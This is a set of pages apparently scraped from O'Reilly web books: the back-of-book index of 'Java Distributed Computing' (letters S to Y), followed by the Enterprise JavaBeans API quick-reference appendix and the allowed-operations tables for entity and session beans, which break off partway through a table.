managing threads: 4.3. Managing Threads at Runtime
remote objects and: 3.3. Features of Distributed Object Systems
security and: 1.3.6.1. Runtime environment
Runtime interface: 2.1.4. Streams, Readers, and Writers for Input and Output

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S

SchedDbaseImpl class (example): 7.2.6.2. Distributed objects from the data server
SchedResource class (example): 7.2.4. JDBC-Enabled Data Objects
data caching and: 7.2.5. Data Caching Issues
message-passing version: 7.2.6.1. Message passing with the data server
RMI-enabled version: 7.2.6.2. Distributed objects from the data server
SchedResourceImpl class (example): 7.2.6.2. Distributed objects from the data server
SchedTask class (example): 7.2.4. JDBC-Enabled Data Objects
7.2.4. JDBC-Enabled Data Objects
scheduling system (example): 7.2.3. A Scheduling Example
data caching: 7.2.5. Data Caching Issues
with JDBC-enabled data objects: 7.2.4. JDBC-Enabled Data Objects
secret keys: 5.4.1. Secret Keys
SecretKey class: 5.4.3. Keys in the Java Security API
Secure Socket Layer (SSL): 5.7.3.1. Secure Socket Layer (SSL)
SecureAgent client (example): 5.6.2. Back to Our Credit Agent
SecureRandom class: 5.4.3. Keys in the Java Security API
security: 1.2.4. Security Issues
1.3.6. Security
5.1. Security Issues and Concerns
authentication (see authentication)
certification (see certification)
development object systems and: 3.3.6. Security
encryption (see encryption)
general protocols for: 5.7.3. General Security Protocols
Java API for (see Java Security API)
keys (see keys)
RMI security manager: 3.6.5. Registering and Using a Remote Object
Security Service (CORBA): B.3. Security Service
send( )
Collaborator interface: 9.3.1. Building the Infrastructure with Message Passing
Mediator interface: 9.3.1. Building the Infrastructure with Message Passing
MulticastSocket class: 2.1.3. Multicast Sockets
RMICollaboratorImpl class (example): 9.3.2. Collaborating with RMI
sendEvent( ): 6.6.2. Distributed Events
sendMsg( ): 9.3.1. Building the Infrastructure with Message Passing
serialization: 3.2.1. Creating Remote Objects
3.6.6. Serializing Objects
JavaSpace interface and: C.2. Entry and EntryRep
Serializable interface: 1.3.5. Network Support
3.6.6. Serializing Objects
servers
BankServer interface (example): 3.5.2. The Interface Definition Language (IDL)
ChessServer class (example): 6.4. Fixed Protocols
6.4. Fixed Protocols
implementation of object classes: 3.3. Features of Distributed Object Systems
java.rmi.server package: D.3. The java.rmi.server Package
object skeleton: 3.3. Features of Distributed Object Systems
IDL interface and: 3.5.3. Server Implementations
3.5.5.3. The server skeleton and implementation
Java RMI and: 3.6.4. Client Stubs and Server Skeletons
PipedServer class (example): 2.1.4. Streams, Readers, and Writers for Input and Output
registration/naming service: 3.3. Features of Distributed Object Systems
3.3.3. Registration/Naming Service
CORBA and: 3.5.3. Server Implementations
3.5.5.5. Pulling it all together
remote database data servers: 7.2.6. Remote Data Servers
RemoteServer class: 3.6.2. Server Implementations
D.3. The java.rmi.server Package
RMI implementation: 3.6.2. Server Implementations
RunnableSolveServer class (example): 4.2.1. Implementing Runnable
ServerCloneException: D.3. The java.rmi.server Package
ServerError: D.1. The java.rmi Package
ServerException: D.1. The java.rmi Package
ServerNotActiveException: D.3. The java.rmi.server Package
ServerRef interface: D.3. The java.rmi.server Package
ServerRuntimeException: D.1. The java.rmi Package
ServerSocket class: 2.1.2. Your Basic Socket
SimpleServer class (example): 1.3.5. Network Support
setAutoCommit( ): 7.1.2.3. Statement
setDefaultStream( ): D.3. The java.rmi.server Package
setLog( ): D.3. The java.rmi.server Package
setOutputStream( ): D.3. The java.rmi.server Package
setPrincipal( ): 5.3.1. Access Control Lists
setRef( ): D.3. The java.rmi.server Package
shared data, collaboration and: 9.2.3. Shared State Information
shared whiteboard (example): 9.2.2. Maintaining Agent Identities
10.2. A Shared Whiteboard
sharing, systems of (see collaborative systems)
sign( ): 5.5.2. Public Key Signatures for Authentication
signatures
digital: 5.2.2. The Core Security API
5.5. Digital Signatures
DSA (Digital Signature Algorithm): 5.2.1.1. The User API
5.7.2.1. Encryption techniques
public key: 5.5.2. Public Key Signatures for Authentication
Signature class: 5.5.2. Public Key Signatures for Authentication
SimpleAgent client (example): 5.2.2. The Core Security API
certification and: 5.5.1. A Motivating Example: A Credit Agent
SimpleClient class (example): 1.3.5. Network Support
SimpleCmd class (example): 1.3.5. Network Support
SimpleCmdInputStream class (example): 1.3.5. Network Support
SimpleServer class (example): 1.3.5. Network Support
skeleton, server: 3.3. Features of Distributed Object Systems
IDL interface and: 3.5.3. Server Implementations
Solver interface (example): 3.5.5.3. The server skeleton and implementation
Java RMI and: 3.6.4. Client Stubs and Server Skeletons
Skeleton class: D.3. The java.rmi.server Package
SkeletonMismatchException: D.3. The java.rmi.server Package
SkeletonNotFoundException: D.3. The java.rmi.server Package
sockets: 2.1.2. Your Basic Socket
DatagramSocket class: 2.1.2. Your Basic Socket
multicast: 2.1.3. Multicast Sockets
Socket class: 2.1.2. Your Basic Socket
SocketSecurityException: D.3. The java.rmi.server Package
Solver interface (example): 3.4. Distributed Object Schemes for Java
in CORBA environment: 3.5.5. A CORBA Solver
Runnable interface with: 4.2.1. Implementing Runnable
using Java RMI: 3.6.7. An RMI Solver
sophistication of cryptographic algorithms: 5.7.1.2. Sophistication and complexity
source code, obtaining: 0.3. About the Source Code
speed (see performance)
SQL (see databases)
SSL (Secure Socket Layer): 5.7.3.1. Secure Socket Layer (SSL)
standards for distributed computing: 0. Preface
start( ): 4.3.2. Thread Groups
state information, sharing: 9.2.3. Shared State Information
Statement class: 7.1.1. Data Retrieval Example
7.1.2.3. Statement
StreamClassLoader class (example): 2.3.1. Loading Classes from the Network
streaming audio example: 8.5.1. Streaming Multimedia
streams: 2.1.4. Streams, Readers, and Writers for Input and Output
StringBufferInputStream class: 2.1.4. Streams, Readers, and Writers for Input and Output
StringReader class: 2.1.4. Streams, Readers, and Writers for Input and Output
StringWriter class: 2.1.4. Streams, Readers, and Writers for Input and Output
stub, client: 3.3. Features of Distributed Object Systems
IDL interface and: 3.5.4. Client Stubs
Solver base interface (example): 3.5.5.2. The client stubs
Java RMI and: 3.6.4. Client Stubs and Server Skeletons
to remote data objects: 7.2.6.2. Distributed objects from the data server
StubNotFoundException: D.1. The java.rmi Package
sun.security.acl package: 5.3.1. Access Control Lists
SupplierAdmin interface: B.2.2. Interface Specifics
SurrogateActionListener interface (example): 6.6.3. Pros and Cons
suspend( ): 4.4.2. Distributed ThreadGroups
symmetric encryption techniques: 5.6.1. Ciphers for Secure Data Transfers
synchronization of threads: 4.3.1. Synchronizing Threads
4.4.4. Synchronizing Distributed Threads
synchronized statement: 4.3.1. Synchronizing Threads
synchronous message handling: 6.3.1. Asychronous vs. Synchronous Message Handling
system performance (see performance)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T

take( ): C.4.3. take( )
TCP (Transport Control Protocol): 2.1.2. Your Basic Socket
threads: 1.1. Anatomy of a Distributed Application
4. Threads
asynchronous agents: 4.4.1. Asynchronous Agents
creating: 4.2. Making a Thread
distributed ThreadGroups: 4.4.2. Distributed ThreadGroups
groups of: 4.3.2. Thread Groups
4.4.2. Distributed ThreadGroups
I/O between: 2.1.4. Streams, Readers, and Writers for Input and Output
Java's multithreading support: 1.3.7. Multithreading Support
managing: 4.3. Managing Threads at Runtime
multithreading requirements: 1.2.3. Multithreading Requirements
networked: 4.4. Networked Threads
priorities for: 4.3.3. Priorities
4.4.3. Improving Efficiency with Thread Priorities
synchronizing: 4.3.1. Synchronizing Threads
4.4.4. Synchronizing Distributed Threads
TheadGroup class
distributed ThreadGroups: 4.4.2. Distributed ThreadGroups
Thread class: 1.3.7. Multithreading Support
4.1. Thread and Runnable
extending (example): 4.2.2. Extending Thread
ThreadedWhiteboardUser class (example): 10.2.1. Problems with the First Version
ThreadGroup class: 4.3.2. Thread Groups
ThreadSolver class (example): 4.2.2. Extending Thread
throughput monitoring
raw data: 8.4.1. Raw Data Monitoring
real data: 8.4.2. Real Data Monitoring
Throwable interface: 1.3.4. Fault Tolerance Through Exception Handling
TimeConstraint class (example): 7.2.4. JDBC-Enabled Data Objects
7.2.4. JDBC-Enabled Data Objects
tokens: 6.3.2. A Basic Message Processor
toString( )
LogStream class: D.3. The java.rmi.server Package
ObjID class: D.3. The java.rmi.server Package
Operation class: D.3. The java.rmi.server Package
RemoteObject class: D.3. The java.rmi.server Package
UID class: D.3. The java.rmi.server Package
Transaction class (JavaSpaces): C.3. Transactions
transaction service (CORBA): B.4. Other Key CORBA Services
transactions, JavaSpace: C.1. Overview of JavaSpaces
transactions, remote: 1.3.6.2. Secure remote transactions
transceivers, event: 6.6.2. Distributed Events
Transport Control Protocol (TCP): 2.1.2. Your Basic Socket
try/catch/finally statements: 1.3.4. Fault Tolerance Through Exception Handling
two-way agent authentication: 5.7.1.3. One-, two-, and many-way cryptography

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U

UDP (Unreliable Datagram Protocol): 2.1.2. Your Basic Socket
UID class: D.3. The java.rmi.server Package
unbind( )
Naming interface: D.1. The java.rmi Package
Remote interface: D.2. The java.rmi.registry Package
UnexpectedException: D.1. The java.rmi Package
UnicastRemoteObject class: 3.6.2. Server Implementations
D.3. The java.rmi.server Package
Uniform Resource Locators (see URLs)
UnknownHostException: D.1. The java.rmi Package
UnmarshalException: D.1. The java.rmi Package
unreferenced( ): D.3. The java.rmi.server Package
Unreferenced interface: D.3. The java.rmi.server Package
Unreliable Datagram Protocol (UDP): 2.1.2. Your Basic Socket
UnusableEntryException: C.2. Entry and EntryRep
update( ): 5.5.2. Public Key Signatures for Authentication
updateFromDbase( ): 7.2.4. JDBC-Enabled Data Objects
7.2.4. JDBC-Enabled Data Objects
7.3. Multi-Database Applications
updateToDbase( ): 7.2.4. JDBC-Enabled Data Objects
7.3. Multi-Database Applications
URLs (Uniform Resource Locators): 2.2. URLs, URLConnections, and ContentHandlers
loading classes from (example): 2.3.1. Loading Classes from the Network
URL class: 2.2. URLs, URLConnections, and ContentHandlers
URLClassLoader class (example): 2.3.1. Loading Classes from the Network
URLConnection class: 2.2. URLs, URLConnections, and ContentHandlers
user API (java.security): 5.2.1.1. The User API
user authentication (see authentication)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V

verify( ): 5.5.2. Public Key Signatures for Authentication
verifying
agent identity: 5.1. Security Issues and Concerns
5.5.5. Distributing Certified Public Keys
digital signatures: 5.5.2. Public Key Signatures for Authentication
incoming objects: 5.1. Security Issues and Concerns
visiting agents: 5.1. Security Issues and Concerns

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W

web browser example: 8.5.2. Web Browsing
whiteboard example: A.1. Whiteboard Applet
mouse events and: 10.2. A Shared Whiteboard
shared: 9.2.2. Maintaining Agent Identities
10.2. A Shared Whiteboard
WhiteboardApplet class (example): A.1. Whiteboard Applet
WhiteboardMediator class (example): 10.2.2.1. List of current users
WhiteboardUser class (example): 10.2. A Shared Whiteboard
workload distribution: 3.2.3. Other Issues
write( )
JavaSpace interface: C.4.1. write( )
LogStream class: D.3. The java.rmi.server Package
ObjID class: D.3. The java.rmi.server Package
UID class: D.3. The java.rmi.server Package
writeArgs( ): 6.4.1. Heterogeneous Argument Lists
Writer classes: 2.1.4. Streams, Readers, and Writers for Input and Output

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X

X.509 standard certificate format: 5.7.2.2. Certificates and authentication techniques
XDR-formatted data I/O (example): 2.1.4. Streams, Readers, and Writers for Input and Output

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Y

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Java Distributed Computing Search Page

Java™ Distributed Computing Search this book

Full Text Search

If you are having difficulty searching, or if you have not used this search utility before, please read this.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


The Enterprise JavaBeans API (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Appendix A. The Enterprise JavaBeans API

Contents:

Package: javax.ejb
Package: javax.ejb.deployment (EJB 1.0 Only)

This appendix is a quick reference guide to the Enterprise JavaBeans API. It is broken down into sections. First, we look at the classes in the javax.ejb package, followed by the classes in the javax.ejb.deployment package (EJB 1.0 only). Within each package, the classes are organized alphabetically.

A.1. Package: javax.ejb

This package contains the heart of the EJB API. It consists mostly of interfaces, many of which are implemented by your EJB vendor. These interfaces essentially define the services provided by the bean's container, the services that must be implemented by the bean itself, and the client interface to an enterprise bean. The package also contains a number of exceptions that are thrown by enterprise beans.

A.1.1. CreateException

This standard application exception must be thrown by all create methods defined in the home interface to indicate that the bean could not be created.

public class javax.ejb.CreateException extends java.lang.Exception
{
    public CreateException();
    public CreateException(String message);
}

A.1.2. DuplicateKeyException

This standard application exception is thrown by the create methods of the home interface of entity beans, and it indicates that a bean already exists with the same primary key.

public class javax.ejb.DuplicateKeyException
    extends javax.ejb.CreateException
{
    public DuplicateKeyException();
    public DuplicateKeyException(String message);
}

A.1.3. EJBContext

This is the base class for both EntityContext and SessionContext. EJBContext is the bean class's interface to the container system. It provides information about the security identity and transaction status. It also provides access to environment variables and the bean's EJB home.

public interface javax.ejb.EJBContext
{
    public abstract Principal getCallerPrincipal(); // new in 1.1
    public abstract EJBHome getEJBHome();
    public abstract boolean getRollbackOnly();
    public abstract UserTransaction getUserTransaction();

    public abstract Properties getEnvironment(); // deprecated in 1.1
    public abstract Identity getCallerIdentity(); // deprecated in 1.1
    public abstract boolean isCallerInRole(Identity role); // deprecated in 1.1
    public abstract boolean isCallerInRole(String roleName); // new in 1.1
    public abstract void setRollbackOnly();
}

A.1.4. EJBException (1.1)

This RuntimeException is thrown by the bean class from its business methods and callback methods to indicate that an unexpected exception has occurred. The exception causes a transaction to be rolled back and the bean instance to be destroyed.

public class javax.ejb.EJBException
    extends java.lang.RuntimeException
{
    public EJBException();
    public EJBException(String message);
    public EJBException(Exception exception);

    public Exception getCausedByException();
}

A.1.5. EJBHome

This interface must be extended by the bean's home interface, a developer-provided class that defines the life-cycle methods of the bean. The bean's create and find methods are defined in the home interface. This interface is implemented by the bean's EJB home.

public interface javax.ejb.EJBHome extends java.rmi.Remote
{
    public abstract HomeHandle getHomeHandle(); // new in 1.1
    public abstract EJBMetaData getEJBMetaData();
    public abstract void remove(Handle handle);
    public abstract void remove(Object primaryKey);
}

A.1.6. EJBMetaData

This interface is implemented by the container vendor to provide a serializable class that contains information about the bean.

public interface javax.ejb.EJBMetaData
{
    public abstract EJBHome getEJBHome();
    public abstract Class getHomeInterfaceClass();
    public abstract Class getPrimaryKeyClass();
    public abstract Class getRemoteInterfaceClass();
    public abstract boolean isSession();
    public abstract boolean isStatelessSession(); // new in 1.1
}

A.1.7. EJBObject

This interface defines the base functionality for access to enterprise beans; it is implemented by the EJB object. The developer must provide a remote interface for the bean that defines the business methods of the bean; the remote interface must extend the EJBObject interface.

public interface javax.ejb.EJBObject extends java.rmi.Remote
{
    public abstract EJBHome getEJBHome();
    public abstract Handle getHandle();
    public abstract Object getPrimaryKey();
    public abstract boolean isIdentical(EJBObject obj);
    public abstract void remove();
}

A.1.8. EnterpriseBean

This interface is extended by both the EntityBean and SessionBean interfaces. It serves as a common typing mechanism.

public interface javax.ejb.EnterpriseBean extends java.io.Serializable {}

A.1.9. EntityBean

This interface must be implemented by the entity bean class. It provides a set of callback notification methods that alert the bean instance that it is about to experience or just has experienced some change in its life cycle.

public interface javax.ejb.EntityBean extends javax.ejb.EnterpriseBean
{
    public abstract void ejbActivate();
    public abstract void ejbLoad();
    public abstract void ejbPassivate();
    public abstract void ejbRemove();
    public abstract void ejbStore();
    public abstract void setEntityContext(EntityContext ctx);
    public abstract void unsetEntityContext();
}

A.1.10. EntityContext

This interface is a specialization of the EJBContext that provides methods for obtaining an EntityBean's EJB object reference and primary key. The EntityContext provides the bean instance with an interface to the container.

public interface javax.ejb.EntityContext extends javax.ejb.EJBContext
{
    public abstract EJBObject getEJBObject();
    public abstract Object getPrimaryKey();
}

A.1.11. FinderException

This standard application exception is thrown by find methods defined in the home interface to indicate that a failure occurred during the execution of the find method.

public class javax.ejb.FinderException extends java.lang.Exception
{
    public FinderException();
    public FinderException(String message);
}

A.1.12. Handle

This interface provides the client with a serializable object that can be used to obtain a remote reference to a specific bean.

public interface javax.ejb.Handle
extends java.io.Serializable
{
    public abstract EJBObject getEJBObject();
}

A.1.13. HomeHandle (1.1)

This interface provides the client with a serializable object that can be used to obtain a remote reference to a bean's home.

public interface javax.ejb.HomeHandle
extends java.io.Serializable
{
    public abstract EJBHome getEJBHome();
}

A.1.14. NoSuchEntityException (1.1)

This EJBException is typically thrown by the bean class's ejbLoad() and ejbStore() methods to indicate that the entity's data does not exist. For example, this exception will be thrown if an entity bean with bean-managed persistence attempts to read its state (ejbLoad()) from a record that has been deleted from the database.

public class javax.ejb.NoSuchEntityException
    extends javax.ejb.EJBException
{
    public NoSuchEntityException();
    public NoSuchEntityException(String message);
    public NoSuchEntityException(Exception exception);

}

A.1.15. ObjectNotFoundException

This standard application exception is thrown by the home interface's find methods that return only one EJB object. It indicates that no bean matching the specified criteria could be found.

public class javax.ejb.ObjectNotFoundException
    extends javax.ejb.FinderException
{
    public ObjectNotFoundException();
    public ObjectNotFoundException(String message);
}

A.1.16. RemoveException

This standard application exception is thrown by remove methods to indicate that the failure occurred while removing the bean.

public class javax.ejb.RemoveException extends java.lang.Exception
{
    public RemoveException();
    public RemoveException(String message);
}

A.1.17. SessionBean

This interface must be implemented by the session bean class. It provides a set of callback notification methods that alert the bean instance that it has experienced, or is about to experience, some change in its life cycle.

public interface javax.ejb.SessionBean extends javax.ejb.EnterpriseBean
{
    public abstract void ejbActivate();
    public abstract void ejbPassivate();
    public abstract void ejbRemove();
    public abstract void setSessionContext(SessionContext ctx);
}

A.1.18. SessionContext

This interface is a specialization of the EJBContext that provides methods for obtaining the SessionBean's EJB object reference. SessionContext provides the bean instance with an interface to the container.

public interface javax.ejb.SessionContext extends javax.ejb.EJBContext
{
    public abstract EJBObject getEJBObject();
}

A.1.19. SessionSynchronization

This interface provides a stateful bean instance with additional callback notifications. These callback methods notify the bean of its current state with respect to a transaction.

public interface javax.ejb.SessionSynchronization
{
    public abstract void afterBegin();
    public abstract void afterCompletion(boolean committed);
    public abstract void beforeCompletion();
}
Previous | Home | Next
11.6. Future Enhancements | Book Index | A.2. Package: javax.ejb.deployment (EJB 1.0 Only)
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Package: javax.ejb.deployment (EJB 1.0 Only) (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

A.2. Package: javax.ejb.deployment (EJB 1.0 Only)

The javax.ejb.deployment package contains a number of classes used to deploy enterprise beans in a container. These classes provide mechanisms to tell the container about the bean's properties, define new properties at runtime, and define the relationship between the bean and its container.

This package has disappeared entirely from EJB 1.1, including all of its classes.

A.2.1. AccessControlEntry

A serialized object of this class is used to specify the security identities that are allowed to access the bean's methods. It may specify default access for the entire bean or access specific to one method.

public class javax.ejb.deployment.AccessControlEntry
    extends java.lang.Object
    implements java.io.Serializable
{
    public AccessControlEntry();
    public AccessControlEntry(Method method);
    public AccessControlEntry(Method method, Identity identities[]);
    public Identity[] getAllowedIdentities();
    public Identity getAllowedIdentities(int index);
    public Method getMethod();
    public void setAllowedIdentities(Identity values[]);
    public void setAllowedIdentities(int index, Identity value);
    public void setMethod(Method value);
}

A.2.2. ControlDescriptor

A serialized object of this class is used to specify transactional and runAs attributes associated with the bean's methods. It may specify default attributes for the entire bean or attributes specific to one method.

public class javax.ejb.deployment.ControlDescriptor
    extends java.lang.Object
    implements java.io.Serializable
{
    public final static int CLIENT_IDENTITY;
    public final static int SPECIFIED_IDENTITY;
    public final static int SYSTEM_IDENTITY;
    public final static int TRANSACTION_READ_COMMITTED;
    public final static int TRANSACTION_READ_UNCOMMITTED;
    public final static int TRANSACTION_REPEATABLE_READ;
    public final static int TRANSACTION_SERIALIZABLE;
    public final static int TX_BEAN_MANAGED;
    public final static int TX_MANDATORY;
    public final static int TX_NOT_SUPPORTED;
    public final static int TX_REQUIRED;
    public final static int TX_REQUIRES_NEW;
    public final static int TX_SUPPORTS;

    public ControlDescriptor();
    public ControlDescriptor(Method method);
    public int getIsolationLevel();
    public Method getMethod();
    public Identity getRunAsIdentity();
    public int getRunAsMode();
    public int getTransactionAttribute();
    public void setIsolationLevel(int value);
    public void setMethod(Method value);
    public void setRunAsIdentity(Identity value);
    public void setRunAsMode(int value);
    public void setTransactionAttribute(int value);
}

A.2.3. DeploymentDescriptor

A serialized object of this class is used to describe the bean to the container at deployment time. This object contains all the AccessControlEntry and ControlDescriptor objects for the bean. In addition, it contains descriptions of the remote interface, the home interface, and the bean class names, as well as the name binding and version number of the bean. This class serves as the base class for the EntityDescriptor and the SessionDescriptor classes, which are used by EntityBean and SessionBean types, respectively.

public class javax.ejb.deployment.DeploymentDescriptor
    extends java.lang.Object
    implements java.io.Serializable
{
    protected int versionNumber;
    public DeploymentDescriptor();
    public AccessControlEntry[] getAccessControlEntries();
    public AccessControlEntry getAccessControlEntries(int index);
    public Name getBeanHomeName();
    public ControlDescriptor[] getControlDescriptors();
    public ControlDescriptor getControlDescriptors(int index);
    public String getEnterpriseBeanClassName();
    public Properties getEnvironmentProperties();
    public String getHomeInterfaceClassName();
    public boolean getReentrant();
    public String getRemoteInterfaceClassName();
    public boolean isReentrant();
    public void setAccessControlEntries(AccessControlEntry values[]);
    public void setAccessControlEntries(int i, AccessControlEntry v);
    public void setBeanHomeName(Name value);
    public void setControlDescriptors(ControlDescriptor value[]);
    public void setControlDescriptors(int index, ControlDescriptor value);
    public void setEnterpriseBeanClassName(String value);
    public void setEnvironmentProperties(Properties value);
    public void setHomeInterfaceClassName(String value);
    public void setReentrant(boolean value);
    public void setRemoteInterfaceClassName(String value);
}

A.2.4. EntityDescriptor

This class extends the DeploymentDescriptor class, providing methods specific to EntityBeans. Container-managed fields and the primary key class for the bean can be set, in addition to all the values set using the DeploymentDescriptor class.

public class javax.ejb.deployment.EntityDescriptor
    extends javax.ejb.deployment.DeploymentDescriptor
{
    public EntityDescriptor();
    public Field[] getContainerManagedFields();
    public Field getContainerManagedFields(int index);
    public String getPrimaryKeyClassName();
    public void setContainerManagedFields(Field values[]);
    public void setContainerManagedFields(int index, Field value);
    public void setPrimaryKeyClassName(String value);
}

A.2.5. SessionDescriptor

This class extends the DeploymentDescriptor class, providing methods specific to SessionBeans. The session timeout and state management type can be set, in addition to all the values set using the DeploymentDescriptor class.

public class javax.ejb.deployment.SessionDescriptor
    extends javax.ejb.deployment.DeploymentDescriptor
{
    public final static int STATEFUL_SESSION;
    public final static int STATELESS_SESSION;

    public SessionDescriptor();
    public int getSessionTimeout();
    public int getStateManagementType();
    public void setSessionTimeout(int value);
    public void setStateManagementType(int value);
}
Previous | Home | Next
A.1. Package: javax.ejb | Book Index | B. State and Sequence Diagrams
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


State and Sequence Diagrams (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Appendix B. State and Sequence Diagrams

Contents:

Entity Beans
Session Beans

The appendix contains state and sequence diagrams for all the bean types discussed in this book: container-managed and bean-managed entity beans, and stateless and stateful session beans. Although standard UML is used in these diagrams, some extensions were required to model EJB runtime characteristics. In the state diagrams, for example, actions of the client and container are shown in the standard format; callback methods and class instantiation operations are shown as part of the transition event. The separation of client and container requires this simple extension.

In the sequence diagrams, container-provided classes such as the container itself, EJB object, and EJB home are shown as separate classes but are also boxed together. Messages sent from classes in the container system box are considered to be sent from the container system as a whole, not necessarily the specific container-provided class. This generalization is necessary because the container's interaction with the bean is characterized by these classes but will be different from one vendor's implementation to the next. The exact source of the message is immaterial, as long as you realize that the container system sent it.

B.1. Entity Beans

B.1.1. Life Cycle State Diagram of the Entity Bean

Figure B-1. Life cycle state diagram of the entity bean

B.1.2. Sequence Diagrams for Container-Managed Persistence

Figure B-2. Creation and removal in container-managed persistence

Figure B-3. Activation and synchronization in container-managed persistence

B.1.3. Sequence Diagrams for Bean-Managed Persistence

Figure B-4. Creation and removal in bean-managed persistence

Figure B-5. Activation and synchronization in bean-managed persistence

Table B-1 and Table B-2 summarize the operations that an entity bean is allowed to perform in various stages of its life cycle.

Table B-1. Allowed Operations for Entity Beans in EJB 1.1

Method

Allowed Operations

setEntityContext()

unsetEntityContext()

EntityContext methods:

getEJBHome()

JNDI ENC contexts:

Properties java:comp/env

ejbCreate()

ejbFind()

EntityContext methods:

getEJBHome()

getCallerPrincipal()

isCallerInRole()

getRollbackOnly()

setRollbackOnly()

JNDI ENC contexts:

Properties java:comp/env

Resource Managers java:comp/env/jdbc

EJB references java:comp/env/ejb

ejbPostCreate()

ejbLoad()

ejbStore()

ejbRemove()

business methods

EntityContext methods:

getEJBHome()

getCallerPrincipal()

isCallerInRole() getRollbackOnly()

setRollbackOnly()

getEJObject()

getPrimaryKey()

JNDI ENC contexts:

Properties java:comp/env

Resource Managers java:comp/env/jdbc

EJB references java:comp/env/ejb

ejbActivate()

ejbPassivate()

EntityContext methods:

getEJBHome()

getEJBObject()

getPrimaryKey()

JNDI ENC contexts:

Properties java:comp/env

Note that entity beans in EJB 1.1 can never access the EJBContext.getUserTransaction() method, because entity beans are not allowed to manage their own transactions. Only session beans can access this method.

Table B-2. Allowed Operations for Entity Beans in EJB 1.0

Allowed Operations

Method

Container-Managed Transactions

Bean-Managed Transactions

setEntityContext()

unsetEntityContext()

EntityContext methods:

getEnvironment()

getEJBHome()

EntityContext methods:

getEnvironment()

getEJBHome()

ejbCreate()

ejbFind()

EntityContext methods:

getEnvironment()

getEJBHome()

getCallerIdentity()

isCallerInRole()

getRollbackOnly()

setRollbackOnly()

EntityContext methods:

getEnvironment()

getEJBHome()

getCallerIdentity()

isCallerInRole()

getUserTransaction()

ejbPostCreate()

ejbLoad()

ejbStore()

ejbRemove()

business methods

EntityContext methods:

getEnvironment()

getEJBHome()

getCallerPrincipal()

getRollbackOnly()

isCallerInRole()

setRollbackOnly()

getEJBObject()

getPrimaryKey()

EntityContext methods:

getEnvironment()

getEJBHome()

getCallerPrincipal()

isCallerInRole()

getEJBObject()

getPrimaryKey()

getUserTransaction()

ejbActivate()

ejbPassivate()

EntityContext methods:

getEnvironment()

getEJBHome()

getEJBObject()

getPrimaryKey()

EntityContext methods:

getEnvironment()

getEJBHome()

getEJBObject()

getPrimaryKey()

Previous | Home | Next
A.2. Package: javax.ejb.deployment (EJB 1.0 Only) | Book Index | B.2. Session Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Session Beans (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

B.2. Session Beans

B.2.1. Stateless Session Beans

Figure B-6. Life cycle state diagram of the stateless session bean

Figure B-7. Creation and removal of the stateless session bean

Table B-3 and Table B-4 summarize the operations that are legal for a stateless session bean.

Table B-3. Allowed Operations for Stateless Session Beans in EJB 1.1

Allowed Operations

Method

Container-Managed Transactions

Bean-Managed Transactions

setSessionContext()

EntityContext methods:

getEJBHome()

JNDI ENC contexts:

Properties java:comp/env

EntityContext methods:

getEJBHome()

JNDI ENC contexts:

Properties java:comp/env

ejbCreate()

ejbRemove()

EntityContext methods:

getEJBHome()

getEJBObject()

JNDI ENC contexts:

Properties java:comp/env

EntityContext methods:

getEJBHome()

getEJBObject()

getUserTransaction()

JNDI ENC contexts:

Properties java:comp/env

business methods

EntityContext methods:

getEJHome()

getCallerPrincipal()

isCallerInRole()

getRollbackOnly()

setRollbackOnly()

getEJObject()

JNDI ENC contexts:

Properties java:comp/env

Resource Managers java:comp/env/jdbc

EJB references java:comp/env/ejb

EntityContext methods:

getEJHome()

getCallerPrincipal()

isCallerInRole()

getEJObject()

getUserTransaction()

JNDI ENC contexts:

Properties java:comp/env

Resource Managers java:comp/env/jdbc

EJB references java:comp/env/ejb

ejbActivate()

ejbPassivate()

Not Supported

(stateless beans do not use these methods)

Not Supported

(stateless beans do not use these methods)

Table B-4. Allowed Operations for Stateless Session Beans in EJB 1.0

Allowed Operations

Method

Container-Managed Transactions

Bean-Managed Transactions

setSessionContext()

EntityContext methods:

getEnvironment()

getEJBHome()

EntityContext methods:

getEnvironment()

getEJBHome()

ejbCreate()

ejbRemove()

EntityContext methods:

getEnvironment()

getEJBHome()

getEJBObject()

EntityContext methods:

getEnvironment()

getEJBHome()

getEJBObject()

getUserTransaction()

business methods

EntityContext methods:

getEnvironment()

getEJHome()

getCallerPrincipal()

isCallerInRole()

getRollbackOnly()

setRollbackOnly()

getEJObject()

EntityContext methods:

getEnvironment()

getEJHome()

getCallerPrincipal()

isCallerInRole()

getEJObject()

getUserTransaction()

ejbActivate()

